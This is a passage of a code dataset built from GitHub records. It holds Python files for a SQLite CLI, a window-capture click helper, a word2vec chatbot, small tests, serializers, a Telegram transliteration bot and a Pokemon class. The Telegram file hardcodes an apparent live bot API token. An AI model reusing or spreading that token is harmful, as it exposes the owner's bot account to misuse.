table_definition))\n\t\t\treturn\n\t\ttable_name = args.table_name\n\t\t#print(table_name)\n\t\t#return\n\n\tif db.table_exists(db_conn, table_name):\n\t\tprint(\"[!] do_define_db() table already exists - '%s'\" % table_name)\n\t\treturn\n\n\tif not db.define_db(db_conn, table_definition):\n\t\tprint(\"[!] define_db() status: failed: '%s'\\n%s\" % (definition_file, table_definition))\n\t\treturn\n\n\tprint(\"[*] define_db() status: success: '%s'\\n%s\" % (definition_file, table_definition))\n\ndef create_db(args):\n\tdb_file = args.create_db\n\tif db.db_exists(db_file):\n\t\tprint(\"[!] warning: database already exists - '%s'\" % db_file)\n\t\treturn False\n\tdb_conn = db.create_db(db_file)\n\tif db_conn is None:\n\t\tprint(\"[!] error: create database failed - '%s'\" % db_file)\n\t\treturn False\n\tdb.close(db_conn)\n\tprint(\"[*] database created - '%s'\" % db_file)\n\treturn True\n\ndef connect_db(db_file, args):\n\tif not db.db_exists(db_file):\n\t\tprint(\"[!] error: database failed to connect - missing file '%s'\" % db_file)\n\t\treturn None\n\tdb_conn = db.connect(db_file)\n\tif db_conn is None:\n\t\tprint(\"[!] error: database failed to connect - '%s'\" % db_file)\n\t\treturn None\n\treturn db_conn\n\ndef do_action_script_help(args):\n\tif args.script_help is None:\n\t\tif args.verbose_mode:\n\t\t\tprint(\"[!] warning: no script defined\")\n\t\treturn\n\n\tlib_root_dir = lib.root_dir()\n\n\tif not os.path.isdir(lib_root_dir):\n\t\tif args.verbose_mode:\n\t\t\tprint(\"[!] error: folder not found - '%s'\" % (lib_root_dir))\n\t\treturn\n\n\thelp_scripts = {}\n\textend_script = None\n\trepo_dir = lib_root_dir\n\tif args.extend_script is not None:\n\t\textend_script = args.extend_script\n\t\trepo_dir = args.extend_script\n\tscript_repo = lib.repos(repo_dir)\n\t\n\thelp_script = lib.parse_script_help(args.script_help)\n\thelp_script_args = lib.parse_raw_script_args(args.script_help, args.script_args)\n\tfor script_name in help_script:\n\t\tscript_definition = lib.get_script_from_repo(script_name, script_repo)\n\t\tif script_definition is None:\n\t\t\tprint(\"[!] warning: failed to get script by name - '%s'\" % script_name)\n\t\t\tcontinue\n\t\tscript_path = script_definition[\"path\"]\n\t\tif script_path in script_repo:\n\t\t\tmodule_path = script_definition[\"module_path\"]\n\t\t\tif module_path is None:\n\t\t\t\tprint(\"[!] warning: failed to convert script as module path - '%s'\" % script_path)\n\t\t\t\tcontinue\n\t\t\tscript_module = lib.get_script_module(module_path)\n\t\t\tscript = script_module.init()\n\t\t\tscript.extend({\"_internal.script-definition\": script_definition})\n\t\t\tscript.extend({\"_internal.script.args\": help_script_args})\n\t\t\tscript.extend({\"_internal.verbose_mode\": args.verbose_mode})\n\t\t\tscript.help()\n\t\telse:\n\t\t\tprint(\"[!] warning: script not found - '%s'\" % script_path)\n\ndef do_action_run_script(db_conn, args):\n\tif args.run_script is None:\n\t\tif args.verbose_mode:\n\t\t\tprint(\"[!] warning: no script defined\")\n\t\treturn\n\n\tlib_root_dir = lib.root_dir()\n\n\tif not os.path.isdir(lib_root_dir):\n\t\tif args.verbose_mode:\n\t\t\tprint(\"[!] error: folder not found - '%s'\" % (lib_root_dir))\n\t\treturn\n\n\trun_script_args = lib.parse_raw_script_args(args.run_script, args.script_args)\n\tif run_script_args is None:\n\t\tprint(\"[!] error: lib.parse_script_args(args.run_script, args.script_args)\")\n\t\treturn\n\t\n\trepo_dir = lib_root_dir\n\tif args.extend_script is not None:\n\t\trepo_dir = args.extend_script\n\tscript_repo = lib.repos(repo_dir)\n\n\tfor script_path in script_repo:\n\t\tscript = script_repo[script_path]\n\t\tif script[\"name\"] in run_script_args:\n\t\t\trun_script_item = run_script_args[script[\"name\"]]\n\t\t\tmodule = lib.get_script_module(script[\"module_path\"])\n\t\t\t\n\t\t\tif module is None:\n\t\t\t\tprint(\"[!] warning: failed to get script module - '%s'\" % script[\"module_path\"])\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tscript_module = module.init()\n\t\t\tscript_module.extend({\"_internal.script\": script})\n\t\t\tscript_module.extend({\"_internal.verbose_mode\": args.verbose_mode})\n\t\t\tscript_module.extend({\"_internal.args.out_json\": args.out_json})\n\t\t\t\n\t\t\tif \"sqlite\" in script_module.requirements:\n\t\t\t\tscript_module.extend({\"sqlite.db_conn\": db_conn})\n\t\t\tif \"script-repo\" in script_module.requirements:\n\t\t\t\tscript_module.extend({\"script.repo-dir\": repo_dir})\n\n\t\t\tmodule_args = run_script_args[script[\"name\"]][\"args\"]\n\t\t\tscript_module.run(module_args)\n\ndef main(args):\n\tif args.script_help is not None:\n\t\tdo_action_script_help(args)\n\t\treturn\n\n\tif args.create_db is not None:\n\t\t#print(\"# create_db\")\n\t\tif not create_db(args):\n\t\t\treturn\n\t\t# we can both create and define the database table\n\t\tif args.define_db is None:\n\t\t\treturn\n\n\tdb_file = get_db_file(args)\n\tdb_conn = connect_db(db_file, args)\n\tif db_conn is None:\n\t\t#print(\"[!] error: database failed to connect - '%s'\" % db_file)\n\t\treturn\n\n\tif args.run_script is not None:\n\t\tdo_action_attach_db(db_conn, args)\n\t\tdo_action_run_script(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\t\"\"\"\n\t\tDatabase Management\n\t\"\"\"\n#\tif args.create_db is not None:\n#\t\tprint(\"# create_db\")\n#\t\tif not create_db(args):\n#\t\t\treturn\n#\t\t# we can both create and define the database table\n#\t\tif args.define_db is None:\n#\t\t\treturn\n\n\tif args.define_db is not None:\n\t\t#print(\"# do_define_db\")\n\t\tif args.create_db is not None:\n\t\t\tdb_conn = connect_db(args.create_db, args)\n\t\t\tif db_conn is None:\n\t\t\t\tprint(\"[!] error: database failed to connect - '%s'\" % args.create_db)\n\t\t\t\treturn\n\t\tdo_define_db(db_conn, args)\n\t\t# we can both define and populate the database table\n\t\tif args.db_import is None:\n\t\t\tdb.close(db_conn)\n\t\t\treturn\n\n\tif args.db_import is not None:\n\t\t#print(\"# do_db_import\")\n\t\tdo_db_import(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif args.attach_db is not None:\n\t\t#print(\"# do_action_attach_db\")\n\t\tdo_action_attach_db(db_conn, args)\n\n\tif args.db_export is not None:\n\t\t#print(\"# do_db_export\")\n\t\tdo_db_export(db_conn, args)\n\t\treturn\n\n\tif args.action_truncate_table:\n\t\t#print(\"# do_action_truncate_table\")\n\t\tdo_action_truncate_table(db_conn, args)\n\t\treturn\n\tif args.action_drop_table:\n\t\t#print(\"# do_action_drop_table\")\n\t\tdo_action_drop_table(db_conn, args)\n\t\treturn\n\n\t\"\"\"\n\t\tEnumerate Database\n\t\"\"\"\n\tif args.action_enum_databases:\n\t\t#print(\"# do_action_enum_databases\")\n\t\tdo_action_enum_databases(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\tif args.action_enum_tables:\n\t\t#print(\"# do_action_enum_tables\")\n\t\tdo_action_enum_tables(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\tif args.action_enum_columns:\n\t\t#print(\"# do_action_enum_columns\")\n\t\tdo_action_enum_columns(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif args.action_dump_table_entries:\n\t\t#print(\"# do_action_dump_table_records\")\n\t\tdo_action_dump_table_records(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif args.schema and (args.table_name is not None and \",\" not in args.table_name) and (args.db_name is not None or db.db_count(db_conn) == 1):\n\t\t#print(\"# do_action_dump_table_schema\")\n\t\tdo_action_dump_table_schema(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif args.table_name is not None and args.count:\n\t\t#print(\"# do_action_table_record_count\")\n\t\tdo_action_table_record_count(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif args.query is not None:\n\t\t#print(\"# do_action_query_db\")\n\t\tdo_action_query_db(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\tif args.query_from_file is not None:\n\t\tdo_action_query_db_from_template(db_conn, args)\n\t\tdb.close(db_conn)\n\t\treturn\n\n\tif not do_db_health_check(db_file):\n\t\tprint(\"[!] health check failed\")\n\t\treturn\n\n\tprint(\"[!] warning: no action was executed!\")\n\n\tprint(\"[*] status - total changes: %s\" % db_conn.total_changes)\n\tdb.close(db_conn)\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, description=\"Project Database (sqlite) - Mgmt Tool\")\n\t\n\tparser.add_argument('--db', metavar='', dest='override_default_db_file', help=\"Connect to database, override default ('config.py')\")\n\tparser.add_argument('--attach', metavar='[:][,...]', dest='attach_db', help=\"Attach database file; optional with defined name, comma-separated list\" +\n\t\t\"\\n\\n\")\n\n\tparser.add_argument('--dbs', dest='action_enum_databases', action='store_true', help=\"Enumerate databases; use '--count' to output num of databases and with '-v' outputs table count per database\")\n\tparser.add_argument('--tables', dest='action_enum_tables', action='store_true', help=\"Enumerate database tables; use '--count' to output num of tables and with '-v' outputs records count per table\")\n\tparser.add_argument('--columns', dest='action_enum_columns', action='store_true', help=\"Enumerate database table columns; use '-v' to show column count instead\")\n\tparser.add_argument('--schema', dest='schema', action='store_true', help=\"Show schema for db, table and column\")\n\tparser.add_argument('--exclude-sysdbs', dest='exclude_sysdbs', action='store_true', help=\"Exclude system databases when enumerating tables (sqlite_schema, sqlite_temp_schema)\")\n\tparser.add_argument('--count', dest='count', action='store_true', help=\"Output count\")\n\tparser.add_argument('--dump', dest='action_dump_table_entries', action='store_true', help=\"Dump database table entries\")\n\tparser.add_argument('--limit', metavar='', dest='limit', type=int, help=\"Constrain the number of rows returned when using '--dump'\")\n\tparser.add_argument('--offset', metavar='', dest='offset', type=int, help=\"Define the start of returned rows, use with '--limit' (0-based index)\")\n\tparser.add_argument('-D', metavar='', dest='db_name', help=\"Select database(s), comma-separated list\")\n\tparser.add_argument('-T', metavar='', dest='table_name', help=\"Select database table(s), comma-separated list\")\n\tparser.add_argument('-C', metavar='', dest='column_name', help=\"Select database table column(s), comma-separated list\" +\n\t\t\"\\n\\n\")\n\t\n\tparser.add_argument('--create', metavar='', dest='create_db', help=\"Create an empty database file\")\n\tparser.add_argument('--define', metavar='', dest='define_db', help=\"Define database through definition file\")\n\tparser.add_argument('--import', metavar='', dest='db_import', help=\"Import from file, use '-T' to specify table\")\n\tparser.add_argument('--export', metavar='', dest='db_export', help='Export to file, use \\'-T\\' to specify table (add \\'--schema\\' for schema)' +\n\t\t\"\\n\\n\")\n\n\tparser.add_argument('--trunc-table', dest='action_truncate_table', action='store_true', help=\"Remove all records from a table, use '-T' to specify table\")\n\tparser.add_argument('--drop-table', action='store_true', dest='action_drop_table', help=\"Delete table from database, use '-T' to specify table\" +\n\t\t\"\\n\\n\")\n\n\tparser.add_argument('--script', metavar='', dest='run_script', help=\"Run script(s); using the comma-separated list of names, to interact with the database.\" +\n\t\t\"\\nTo list available scripts use '--script list'.\")\n\tparser.add_argument('--script-args', metavar='[.]=\\'\\'', dest='script_args', nargs='+', help=\"Provide arguments to script; space-separated list.\")\n\tparser.add_argument('--script-help', metavar='', dest='script_help', help=\"Show help about a script. Use '-v' to show internal script information (useful for debugging), combine with '--script-args' to see how options are parsed.\")\n\tparser.add_argument('--ext-script', metavar='', dest='extend_script', help=\"Extend the script repository by adding \\\"scripts\\\" directory; comma separated list\" +\n\t\t\"\\n\\n\")\n\n\tparser.add_argument('--template', metavar='', dest='query_from_file', help=\"Run query template against the database\")\n\tparser.add_argument('-p', metavar='', dest='template_parameters', nargs='+', default=[], help=\"Parameter(s) for query template\")\n\tparser.add_argument('--show', dest='inspect_query_template', action='store_true', help=\"Show query template description, use '-v' to show parameters\")\n\tparser.add_argument('-q', metavar='', dest='query', help=\"Run raw query against the database\" +\n\t\t\"\\n\\n\")\n\n\tparser.add_argument('--json', dest='out_json', action='store_true', help=\"Output as json\")\n\tparser.add_argument('-v', dest='verbose_mode', action='store_true', help=\"Verbose output. Output in table-format for 'Enumerate' options.\")\n\tparser.add_argument('--dry', dest='dry_mode', action='store_true', help=\"dry mode - do not commit to database\" +\n\t\t\"\\n\\n\")\n\n\targs = parser.parse_args()\n\tmain(args)","repo_name":"Ang31D/projectdb","sub_path":"dmt.py","file_name":"dmt.py","file_ext":"py","file_size_in_byte":38022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12193432222","text":"import cv2\nimport numpy as np\nfrom PIL import Image\nimport win32gui\nimport win32ui\nimport win32api\nimport win32con\nimport time\nfrom ctypes import windll\n\ntop_list, win_list = [], []\n\n\ndef enum_cb(hwnd, results):\n win_list.append((hwnd, win32gui.GetWindowText(hwnd)))\n\n\ndef click(x, y):\n win32api.SetCursorPos((x, y))\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)\n\n\nwin32gui.EnumWindows(enum_cb, top_list)\nwindow = [(hwnd, title) for hwnd, title in win_list if 'rvw' in title.lower()]\n# just grab the hwnd for first window matching firefox\nwindow = window[0]\nhwnd = window[0]\nwin32gui.SetForegroundWindow(hwnd)\nhwndDC = win32gui.GetWindowDC(hwnd)\nmfcDC = win32ui.CreateDCFromHandle(hwndDC)\nsaveDC = mfcDC.CreateCompatibleDC()\nsaveBitMap = win32ui.CreateBitmap()\n\ntime.sleep(0.75) # Sleep to wait for window to be in foreground\n\n\ndef place_waypoints():\n click(1260, 567) # First waypoint\n time.sleep(0.35) # Wait for virtual worlds to handle input\n click(1764, 567) # Second waypoint\n\n\ndef reset_robot():\n click(1170, 1013) # Press restart\n time.sleep(0.35) # Wait for virtual worlds to handle input\n click(1775, 1013) # Press camera angle 2\n\n\ndef start_stop_program():\n click(1135, 1013)\n\n\ndef grab_screen():\n left, top, right, bot = win32gui.GetClientRect(hwnd)\n w = right - left\n h = bot - top\n\n saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)\n\n saveDC.SelectObject(saveBitMap)\n\n result = windll.user32.PrintWindow(hwnd, saveDC.GetSafeHdc(), 1)\n\n bmp_info = saveBitMap.GetInfo()\n bmp_str = saveBitMap.GetBitmapBits(True)\n\n im = Image.frombuffer('RGB',\n (bmp_info['bmWidth'], bmp_info['bmHeight']),\n bmp_str, 'raw', 'BGRX', 0, 1)\n\n opencv_image = cv2.cvtColor(np.array(im), cv2.COLOR_RGB2BGR)\n\n return result, opencv_image\n\n\ndef cleanup_gui_helper():\n win32gui.DeleteObject(saveBitMap.GetHandle())\n saveDC.DeleteDC()\n mfcDC.DeleteDC()\n win32gui.ReleaseDC(hwnd, hwndDC)\n","repo_name":"Octogonapus/InTheZone_AI","sub_path":"gui_helper.py","file_name":"gui_helper.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16933142360","text":"# -*- coding: UTF-8 -*-\r\n# !/usr/bin/python\r\n# @time :2019/4/4 10:00\r\n# @author :Mo\r\n# @function :chatbot based search, encode sentence_vec by word\r\n\r\n\r\n# 适配linux\r\nimport sys\r\nimport os\r\npath_root = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../..\"))\r\nsys.path.append(path_root)\r\nprint(path_root)\r\n\r\n\r\nimport pickle\r\n\r\nimport gensim\r\nimport jieba\r\nimport jieba.posseg as jieba_seg\r\nimport numpy as np\r\nfrom gensim import matutils\r\nfrom numpy import float32 as numpy_type\r\n\r\nfrom conf.path_config import matrix_ques_part_path\r\nfrom conf.path_config import projectdir, chicken_and_gossip_path\r\nfrom conf.path_config import w2v_model_merge_short_path, w2v_model_wiki_word_path\r\nfrom utils.text_tools import txtRead, getChinese\r\n\r\n\r\ndef load_word2vec_model(path, bin=False, limit=None):\r\n print(\"load_word2vec_model start!\")\r\n word2vec_model = gensim.models.KeyedVectors.load_word2vec_format(path, limit=limit, binary=bin, unicode_errors='ignore')\r\n print(\"load_word2vec_model end!\")\r\n return word2vec_model\r\n\r\n\r\ndef get_td_idf_flag(jieba_cut_list, dictionary, tfidf_model):\r\n # todo\r\n '''获取td-idf权重,有问题,同一个词只计算一次,有的还没有,比如说停用词'''\r\n seg1_list = []\r\n vec1 = tfidf_model[dictionary.doc2bow(jieba_cut_list)]\r\n for vec1_one in vec1:\r\n seg1_list.append(vec1_one[1])\r\n sum_seg1_list = sum(seg1_list)\r\n\r\n return [x/sum_seg1_list for x in seg1_list]\r\n\r\n\r\ndef get_jieba_flag(flag):\r\n '''词性'''\r\n if flag in ['n', 'nr', 'ns', 'nt', 'nz']:\r\n weight = 1.3\r\n elif flag in ['r', 'i', 't', 'ng', 'an']:\r\n weight = 0.7\r\n else:\r\n weight = 1\r\n return weight\r\n\r\n\r\ndef word_flag_cut(sentence):\r\n \"\"\"\r\n jieba切词词性\r\n :param sentence: \r\n :return: \r\n \"\"\"\r\n sentence = sentence.replace('\\n', '').replace(',', '').replace('\"', '').\\\r\n replace(' ', '').replace('\\t', '').upper().strip()\r\n word_list = []\r\n flag_list = []\r\n try:\r\n sentence_cut = ''.join(jieba.lcut(sentence, cut_all=False, HMM=False))\r\n words = jieba_seg.cut(sentence_cut)\r\n for word in words:\r\n word_list.append(word.word)\r\n flag_list.append(word.flag)\r\n except Exception as e:\r\n word_list = [sentence]\r\n flag_list = ['nt']\r\n return word_list, flag_list\r\n\r\n\r\ndef basic_questions_encoding(w2v_model, word_list, flag_list):\r\n ''' 生成句子向量\r\n :param wordlist: 分词list\r\n :param is_replaced: 是否替换default true\r\n :param debug_mode: default false\r\n :return: array句子的向量 len=300\r\n '''\r\n\r\n sentence_vec = w2v_model.wv[w2v_model.index2word[1]] * 0\r\n for k in range(len(word_list)):\r\n word = word_list[k]\r\n flag = flag_list[k]\r\n try:\r\n sentence_vec = sentence_vec + w2v_model.wv[word] * get_jieba_flag(flag)\r\n except Exception as e:\r\n sentence_vec = sentence_vec + 1 # un_know词加1\r\n return sentence_vec\r\n\r\n\r\ndef basic_questions_matrix_init(matrix_org, top_vec=20):\r\n \"\"\"\r\n 单位化和初始化基本问题矩阵,以方便点乘, 减小计算量等\r\n :param matrix_org: \r\n :param top_vec: \r\n :return: \r\n \"\"\"\r\n len_matrix_org = len(matrix_org)\r\n # 防止top_vec越界\r\n top_vec = min(len(matrix_org), top_vec)\r\n # 首先对句向量矩阵标号\r\n matrix_org_index = list(range(len_matrix_org))\r\n # matrix_org单位化\r\n # 每个句向量求平方\r\n matrix_org_xinxin = matrix_org ** 2\r\n # 每个句向量求和, 压缩为一个数,当axis为1时, 是压缩列, 即将每一行的元素相加, 将矩阵压缩为一列\r\n matrix_org_sum = matrix_org_xinxin.sum(-1)\r\n # 每个数求根号, np.newaxis新增一个元素\r\n matrix_org_sqrt = np.sqrt(matrix_org_sum)[:, np.newaxis] # + 1e-9\r\n # 解决warning问题\r\n matrix_org_sqrt[matrix_org_sqrt == 0] = 1e-9\r\n # 句向量矩阵除以它的平均数\r\n matrix_org_norm = (matrix_org / matrix_org_sqrt).astype(numpy_type)\r\n return matrix_org_norm, matrix_org_index, top_vec\r\n\r\n\r\ndef calculate_text_similar(vec_ques, matrix_org_norm, matrix_org_index, top_vec):\r\n \"\"\"\r\n 最相似的句子,句向量与矩阵点乘\r\n :param vec: \r\n :param matrix: \r\n :param keys: \r\n :param topn: \r\n :return: \r\n \"\"\"\r\n # 问句向量标准化, Scale a vector to unit length. The only exception is the zero vector, which is returned back unchanged.\r\n vec_ques_mean = matutils.unitvec(np.array([vec_ques]).mean(axis=0)).astype(numpy_type)\r\n # 矩阵点乘, 即问句与标准问句库里边的问句点乘,\r\n matrix_vec_dot = np.dot(matrix_org_norm, vec_ques_mean)\r\n # 相似度排序\r\n most_similar_sentence_vec_sort = matutils.argsort(matrix_vec_dot, topn=top_vec, reverse=True)\r\n # 获取最相似标准问句的index和得分score\r\n index_score = []\r\n for t in most_similar_sentence_vec_sort[:top_vec]:\r\n index_score.append([matrix_org_index[t], float(matrix_vec_dot[t])])\r\n return index_score\r\n\r\n\r\ndef create_matrix_org_np(sen_count, word2vec_model, qa_path, matrix_ques_path_word):\r\n \"\"\"\r\n 创建问题句向量,设置sen_count=10000, 防止内存不够奔溃\r\n :param sen_count: int, write sentence_encode num per twice\r\n :param word2vec_model: model\r\n :param qa_path: str\r\n :param matrix_ques_path: str\r\n :return: \r\n \"\"\"\r\n if os.path.exists(matrix_ques_path_word):\r\n file_matrix_ques = open(matrix_ques_path_word, 'rb')\r\n matrix_ques = pickle.load(file_matrix_ques)\r\n return matrix_ques\r\n print('create_matrix_org_pkl start!')\r\n qa_dail = txtRead(qa_path, encodeType='utf-8')\r\n # questions = []\r\n matrix_ques = []\r\n count = 0\r\n for qa_dail_one in qa_dail:\r\n ques = getChinese(qa_dail_one.split('\\t')[0])\r\n # questions.append(ques)\r\n word_list, flag_list = word_flag_cut(ques)\r\n sentence_vec = basic_questions_encoding(word2vec_model, word_list, flag_list)\r\n matrix_ques.append(sentence_vec)\r\n if len(matrix_ques)%sen_count == 0 and len(matrix_ques) != 0:\r\n print(\"count: \" + str(count))\r\n count += 1\r\n np.savetxt(projectdir + \"/Data/sentence_vec_encode_word/\" + str(count)+\".txt\", matrix_ques)\r\n matrix_ques = []\r\n # break\r\n\r\n count += 1\r\n np.savetxt(projectdir + \"/Data/sentence_vec_encode_word/\" + str(count)+\".txt\", matrix_ques)\r\n # matrix_ques = []\r\n # file_matrix_ques = open(matrix_ques_path, 'wb')\r\n # pickle.dump(matrix_ques, file_matrix_ques)\r\n print('create_matrix_org_np ok!')\r\n # return matrix_ques\r\n\r\n\r\nif __name__ == '__main__':\r\n # 读取问答语料\r\n syn_qa_dails = txtRead(chicken_and_gossip_path, encodeType='utf-8')\r\n\r\n # 读取词向量,w2v_model_wiki_word_path数据是自己训练的,w2v_model_merge_short_path只取了部分数据,你可以前往下载\r\n if os.path.exists(w2v_model_wiki_word_path):\r\n word2vec_model = load_word2vec_model(w2v_model_wiki_word_path, limit=None)\r\n print(\"load w2v_model_wiki_word_path ok!\")\r\n else:\r\n word2vec_model = load_word2vec_model(w2v_model_merge_short_path, limit=None)\r\n print(\"load w2v_model_merge_short_path ok!\")\r\n\r\n # 创建标准问答中问题的句向量,存起来,到matrix_ques_path\r\n if not os.path.exists(matrix_ques_part_path):\r\n create_matrix_org_np(sen_count=100000, word2vec_model=word2vec_model, qa_path=chicken_and_gossip_path, matrix_ques_path_word=matrix_ques_part_path)\r\n\r\n # 读取标准问句矩阵\r\n print(\"np.loadtxt(matrix_ques_part_path) start!\")\r\n matrix_ques = np.loadtxt(matrix_ques_part_path)\r\n print(\"np.loadtxt(matrix_ques_part_path) end!\")\r\n # 标准问句矩阵初始化和预处理\r\n matrix_org_norm, matrix_org_index, top_vec = basic_questions_matrix_init(matrix_ques, top_vec=20)\r\n\r\n ques_clean = getChinese(\"小姜机器人叫什么呀\")\r\n word_list, flag_list = word_flag_cut(ques_clean)\r\n sentence_vec = basic_questions_encoding(word2vec_model, word_list, flag_list)\r\n top_20_qid = calculate_text_similar(sentence_vec, matrix_org_norm, matrix_org_index, top_vec=top_vec)\r\n try:\r\n print(\"小姜机器人: \" + syn_qa_dails[top_20_qid[0][0]].strip().split(\"\\t\")[1])\r\n print([(syn_qa_dails[top_20_qid[i][0]].strip().split(\"\\t\")[0],\r\n syn_qa_dails[top_20_qid[i][0]].strip().split(\"\\t\")[1]) for i in range(len(top_20_qid))])\r\n except Exception as e:\r\n # 有的字符可能打不出来\r\n print(str(e))\r\n\r\n while True:\r\n print(\"你: \")\r\n ques_ask = input()\r\n ques_clean = getChinese(ques_ask)\r\n word_list, flag_list = word_flag_cut(ques_clean)\r\n sentence_vec = basic_questions_encoding(word2vec_model, word_list, flag_list)\r\n top_20_qid = calculate_text_similar(sentence_vec, matrix_org_norm, matrix_org_index, top_vec=top_vec)\r\n try:\r\n print(\"小姜机器人: \" + syn_qa_dails[top_20_qid[0][0]].strip().split(\"\\t\")[1])\r\n print([(syn_qa_dails[top_20_qid[i][0]].strip().split(\"\\t\")[0], syn_qa_dails[top_20_qid[i][0]].strip().split(\"\\t\")[1]) for i in range(len(top_20_qid))])\r\n except Exception as e:\r\n # 有的字符可能打不出来\r\n print(str(e))\r\n","repo_name":"yongzhuo/nlp_xiaojiang","sub_path":"ChatBot/chatbot_search/chatbot_sentence_vec_by_word.py","file_name":"chatbot_sentence_vec_by_word.py","file_ext":"py","file_size_in_byte":9377,"program_lang":"python","lang":"en","doc_type":"code","stars":1494,"dataset":"github-code","pt":"48"} +{"seq_id":"73112485264","text":"# test_app.py\n\nimport json\nimport pytest\nfrom app import app\n\n# Create a testing client\n@pytest.fixture\ndef client():\n app.config['TESTING'] = True\n client = app.test_client()\n\n yield client\n\n# Define a helper function to send JSON requests\ndef send_json_request(client, method, url, data):\n return client.open(\n url,\n method=method,\n data=json.dumps(data),\n content_type='application/json'\n )\n\n# Example test using the client\ndef test_index(client):\n response = client.get('/')\n assert response.status_code == 200\n assert b'Hello, World!' in response.data\n","repo_name":"shashi310/Learning-Python","sub_path":"Day-6/zesty_zomato-L1/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15776194742","text":"import numpy as np\n\n\ndef test_frequency_2_real_and_back():\n from pymks.filter import Filter\n from pymks import PrimitiveBasis\n\n X = np.zeros((1, 3, 2, 2))\n X[0, 0, 0] = np.arange(1, 3) * 9\n p_basis = PrimitiveBasis(2)\n p_basis._axes = (1, 2)\n p_basis._axes_shape = (3, 3)\n X_result = np.ones((1, 3, 3, 2)) * np.arange(1, 3)[None, None, None, :]\n filter_ = Filter(X, p_basis)\n assert np.allclose(filter_._frequency_2_real(copy=True), X_result)\n assert np.allclose(filter_._real_2_frequency(X_result), X)\n\nif __name__ == '__main__':\n test_frequency_2_real_and_back()\n","repo_name":"materialsinnovation/pymks","sub_path":"pymks/tests/test_pymks_filter.py","file_name":"test_pymks_filter.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"48"} +{"seq_id":"43357883775","text":"from marshmallow import Serializer, fields\n\nclass UserSerializer(Serializer):\n class Meta:\n fields = (\"id\", \"email\")\n\nclass ReadingSerializer(Serializer):\n created_at = fields.DateTime(format=\"%s\")\n class Meta:\n fields = (\"id\", \"value\", \"created_at\")\n\nclass SensorSerializer(Serializer):\n user = fields.Nested(UserSerializer)\n values = fields.Nested(ReadingSerializer, many=True, attribute=\"readings\")\n created_at = fields.DateTime()\n key = fields.String(attribute=\"name\")\n class Meta:\n fields = (\"id\", \"key\", \"description\", \"user\", \"values\", \"created_at\")\n","repo_name":"sdeznabi/CyPhy_Deznabi","sub_path":"CyPhy/server/app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18257033789","text":"from transliterate import to_latin, to_cyrillic\nimport telebot\n\nTOKEN =\"1909623145:AAEkjGuoBlRi1_aArYX560ZgFQD87hzLKGE\"\nbot = telebot.TeleBot(TOKEN, parse_mode=None)\n\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n javob=\"Assalomu alaykum,siz Lotin-Kiril botdasiz!\"\n javob+=\"\\nMatn kiriting\"\n bot.reply_to(message, javob )\n\n@bot.message_handler(func=lambda m: True)\ndef echo(message):\n msg = message.text\n if msg.isascii():\n javob = to_cyrillic(msg)\n else:\n javob = to_latin(msg)\n bot.reply_to(message, javob)\n\n\nbot.polling()","repo_name":"Bekidev01/telegram_bot-Kiril-lotin","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40145789752","text":"# pokemon Class\nclass Pokemon:\n # __init__ called AUTOMATICALLY when an object is created\n # this also assigns argument name and ability to 'self.__name & self.__ability'\n def __init__(self, name, ability):\n self.__name = name\n self.__ability = ability\n\n def get_name(self):\n return self.__name\n\n def get_ability(self):\n return self.__ability\n\n\n# main() function\ndef main():\n print(\"This is Program 8\")\n\n print(\"\\nRequirement 1:\"\n \"\\nThis program keeps track of the Pokemon characters\")\n\n print(\"\\nRequirement 2:\")\n print(\"########## In main() ##########\")\n pokemon_list = add_pokemon()\n\n print(\"\\nRequirement 3 & 4:\")\n display_pokemon(pokemon_list)\n\n print(\"\\nRequirement 5:\")\n print(\"Program 8 was a fairly quick program to finish for me. I've had experience with\"\n \"\\nobject oriented programming beforehand, so I didn't really struggle with this\"\n \"\\none. I appreciate the Pokemon reference, very cool.\")\n\n\n# add_pokemon() function\ndef add_pokemon():\n print(\"\\n__________ In add_pokemon __________\")\n # creating a new list to hold pokemon characters\n pokemon_list = []\n # counter used in loop\n pokemon_number = 1\n more_pokemon = input(\"\\n Do you have a pokemon to enter? (y/n) \").lower()\n while more_pokemon == 'y':\n # user inputs pokemon name\n pokemon_name = input(\"\\n Enter name for Pokemon #{}: \".format(pokemon_number))\n # user inputs pokemon ability\n pokemon_ability = input(\"\\n Enter ability for Pokemon #{}: \".format(pokemon_number))\n # creating a new pokemon object with pokemon_name and pokemon_ability\n new_pokemon = Pokemon(pokemon_name, pokemon_ability)\n # adding new_pokemon to list\n pokemon_list.append(new_pokemon)\n # incrementing counter\n pokemon_number += 1\n # user inputs whether he/she wants to enter another pokemon\n more_pokemon = input(\"\\n Another pokemon to enter? (y/n) \").lower()\n return 